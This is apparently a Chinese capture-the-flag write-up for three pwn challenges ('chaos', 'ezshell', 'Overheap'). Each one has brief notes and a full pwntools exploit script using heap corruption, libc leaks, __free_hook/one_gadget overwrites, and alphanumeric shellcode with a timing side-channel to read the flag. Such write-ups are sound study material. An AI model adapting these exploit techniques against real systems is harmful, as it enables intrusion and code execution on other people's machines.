chaos

绕过逆向之后,进入菜单就是经典题目。堆块最后存 size 和下一个堆地址,size 可以被覆盖之后会导致任意长度读写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
from pwn import *
from pwn import p64,u64,p32,u32,p8

context.arch = 'amd64'
context.log_level = 'debug'
#context.terminal = ['tmux','sp','-h']

# elf = ELF('./chall')
# libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
# libc = ELF('')

io = process('./chall')
io = remote("8.134.37.86",28542)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

def create(size,content):
io.sendlineafter('>>', b'passwd:Cr4at3 \nopcode:1\n')
io.sendlineafter('>>>',str(size))
io.sendafter('>>>',content)

def delete(idx):
io.sendlineafter('>>', b'passwd:D3l4te \nopcode:4\n')
io.sendlineafter('>>>',str(idx))

def edit(idx,content):
io.sendlineafter('>>', b'passwd:Ed1t \nopcode:3\n')
io.sendlineafter('>>>',str(idx))
io.sendafter('>>>',content)

def show(idx):
io.sendlineafter('>>', b'passwd:SH0w \nopcode:2\n')
io.sendlineafter('>>>',str(idx))

def recv(junk):
# io.recvuntil(junk)
# leak = u64(io.recv(6).ljust(8,b'00))
leak = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
info('leak:',hex(leak))
return leak

for i in range(11):
create(0x208,b'a'*0x8)
edit(0,'b'*0x208)
show(0)
io.recvuntil('b'*0x208)
heap_addr = u64(io.recv(6).ljust(8,'\x00'))
print "heap_addr:",hex(heap_addr)

for i in range(9):
delete(0)
for i in range(7):
create(0x208,b'a'*0x8)
for i in range(1):
create(0x208,b'a'*0x8)
show(0)
io.recvuntil('a'*0x8)
leak_addr = u64(io.recv(6).ljust(8,'\x00'))
print "leak_addr:",hex(leak_addr)
libc_base = leak_addr - (0x7ffff7dcdeb0-0x7ffff79e2000)
print "libc_base:",hex(libc_base)
free_hook = libc_base + libc.sym['__free_hook']
print "free_hook:",hex(free_hook)
onegadget = [0x4f3d5,0x4f432,0x10a41c]

create(0x208,'a'*8)#2
create(0x208,'a'*8)#1->2
create(0x208,'a'*8)#0->1
delete(2)
create(0x208,'a'*8)#2->0
edit(0,'c'*0x208)
delete(2)
edit(0,'c'*0x208+p64(heap_addr-0x9e0)+p64(0x220)+p64(0x221)+p64(free_hook)+p8(0x73))

create(0x208,b'\x00')
create(0x208,b'\x00')
edit(0,p64(libc_base+onegadget[1]))
#delete(5)

#gdb.attach(io, 'b *$rebase(0x0Cc1)')
delete(0)

io.interactive()

ezshell

去年天翼杯、去年蓝帽杯、今年蓝帽杯初赛、今年蓝帽杯决赛的伪原题,就是限制 read fd 大于 32 ,限制 shellcode 只能用明文

参考 mrctf2020_shellcode_revenge 将 shellcode 转换为可见字符串,alpha3 转换结果错误,改用 AE64 转换成功。

https://www.codenong.com/cs105236336/

https://n0va-scy.github.io/2020/06/21/shellcode%E7%9A%84%E8%89%BA%E6%9C%AF/

2021年10月04日更新:

如果 ae64 存在调用不了问题,可以用 alpha3 也行,直接放复现的压缩包:https://raw.githubusercontent.com/skyedai910/CTF-GAME-COLLECTION-2021/main/2021_%E5%A4%A9%E7%BF%BC%E6%9D%AF/Pwn/ezshell/solve_exp.tar.xz

参考 https://n0va-scy.github.io/2020/06/21/shellcode%E7%9A%84%E8%89%BA%E6%9C%AF/ 实现读取 flag 到栈上,后面就用蓝帽杯思路比较字符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
# encoding=utf-8
import os
payload = []

for index in range(1,40):
tmp = list()
for ch in range(33,127):
print('python ../alpha3/ALPHA3.py x64 ascii mixedcase rdx --input="shellcode_{}_{}"'.format(index,ch))
result = os.popen('python ../alpha3/ALPHA3.py x64 ascii mixedcase rdx --input="shellcode_{}_{}"'.format(index,ch)).read()
tmp.append(result)
payload.append(tmp)

from pwn import *

file_path = "./chall"
context.arch = "amd64"
#context.log_level = "debug"
elf = ELF(file_path)
debug = 0

def pwn(p, index, ch):

# open
#shellcode = "push 0x10032aaa; pop rdi; shr edi, 12; xor esi, esi; xor esi, esi; pop rax; syscall;"
shellcode = '''push 0x100a5aaa;pop rdi;shr edi, 12;xor esi, esi;push 2;pop rax;syscall;'''

shellcode += "add r15,1;cmp r15 , 0x21; jle $-24;"

# read(rax, 0x10040, 0x50)
# shellcode += "mov rdi, rax; xor eax, eax; push 0x50; pop rdx; push 0x10040aaa; pop rsi; shr esi, 12; syscall;"
shellcode += "mov rdi, rax; xor eax, eax; push 0x50; pop rdx; push 0x10040aaa; pop rsi; shr esi, 12; syscall;"

# cmp and jz
if index == 0:
shellcode += "cmp byte ptr[rsi+{0}], {1}; jz $-3; ret".format(index, ch)
else:
shellcode += "cmp byte ptr[rsi+{0}], {1}; jz $-4; ret".format(index, ch)

shellcode = asm(shellcode)

# p.sendlineafter("execution-box.\n", read_next.ljust(0x30))

#gdb.attach(p,"b *0x555555554f18")
#raw_input()

shellcode = payload[index][ch]
p.sendafter("\n", shellcode.ljust(0x40 - 14, b'a') + b'./flag')

#file = open("shellcode","wt")
#file.write(shellcode)
#file.close()


index = 1
ans = []
while True:
for ch in range(len(payload[index-1])):
if debug:
p = process([file_path])
else:
p = remote("8.134.37.86",20812)
pwn(p, index-1, ch)
start = time.time()
try:
p.recv(timeout=2)
except:
pass
end = time.time()
p.close()
if end - start > 1:
ans.append(ch+0x21)
print("".join([chr(i) for i in ans]))
break
else:
print("".join([chr(i) for i in ans]))
#break
index = index + 1
print(ans)

print("".join([chr(i) for i in ans]))

WX20210923-122636@2x

Overheap

高版本 glibc 的 offbynull ,tcache 打结构体完事了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
from pwn import*
context(os='linux',arch='amd64')
context.log_level=True
libc=ELF('./libc.so.6')
#elf=ELF('npuctf_pwn')
#p = process(["./ld.so", "./overheap"],env={"LD_PRELOAD":"./libc.so.6"})
#p=process('./overheap',env={'LD_PRELOAD':'./libc.so.6'})
#p=process('./npuctf_pwn')
p=remote('8.134.51.71',22322)
def add(size):
p.recvuntil('>> ')
p.sendline('1')

p.recvuntil('Size:')
p.sendline(str(size))

def edit(id,data):
p.recvuntil('>> ')
p.sendline('3')
p.recvuntil('Input your id:')
p.sendline(str(id))

p.recvuntil('Content:')
p.send(str(data))
def delete(id):
p.recvuntil('>> ')
p.sendline('4')
p.recvuntil('Input your id:')
p.sendline(str(id))
def show(id):
p.recvuntil('>> ')
p.sendline('2')
p.recvuntil('Input your id:')
p.sendline(str(id))
add(0x420)
add(0x420)
add(0xf8)
add(0x4f8)
add(0x428)
add(0xf8)
add(0xf8)
add(0xf8)
delete(1)
add(0x400)
show(1)

leak=u64(p.recv(8))
libcbase=leak-(0x00007ffff7fb10b0-0x00007ffff7d98000)
print hex(libcbase)
p.recv(8)
leak=u64(p.recv(8))
heap=leak-(0x000055555555b6c0-0x000055555555b000)
print hex(heap)
payload=p64(heap+(0x55555555b6d0-0x000055555555b000))+p64(0x521)+'\n'
edit(1,payload)
payload='a'*0x360+p64(0)+p64(0x21)+p64(heap+(0x55555555b6d0-0x000055555555b000))*3+'\n'
edit(0,payload)

edit(2,'a'*0xf0+p64(0x520))
delete(3)

delete(5)
delete(6)
delete(7)
delete(2)
add(0xa10)
one=libcbase+0xEEA9C
free=libcbase+libc.sym['__malloc_hook']
addr=libcbase+(0x00007f0f29ec06c8-0x7f0f29ca6000)-8
tcache=heap+0x10
pay=p64(tcache^(heap>>12))+p64(tcache)+'\n'
edit(2,'b'*0x410+p64(0)+p64(0x100)+pay)

add(0xf8)
add(0xf8)
edit(5,'/bin/sh\x00'+p64(0)*2+'\x02'*8+p64(0)*26+p64(addr))

add(0xf8)

system=libcbase+libc.sym['system']

edit(6,p64(one)*2+'\n')
print hex(libcbase)
print hex(one)
#attach(p,'b *0x000055555555575a\nb *'+str(one)+'\nb *0x7ffff7fd9e79')

#attach(p)
pause()


#delete(5)
p.interactive()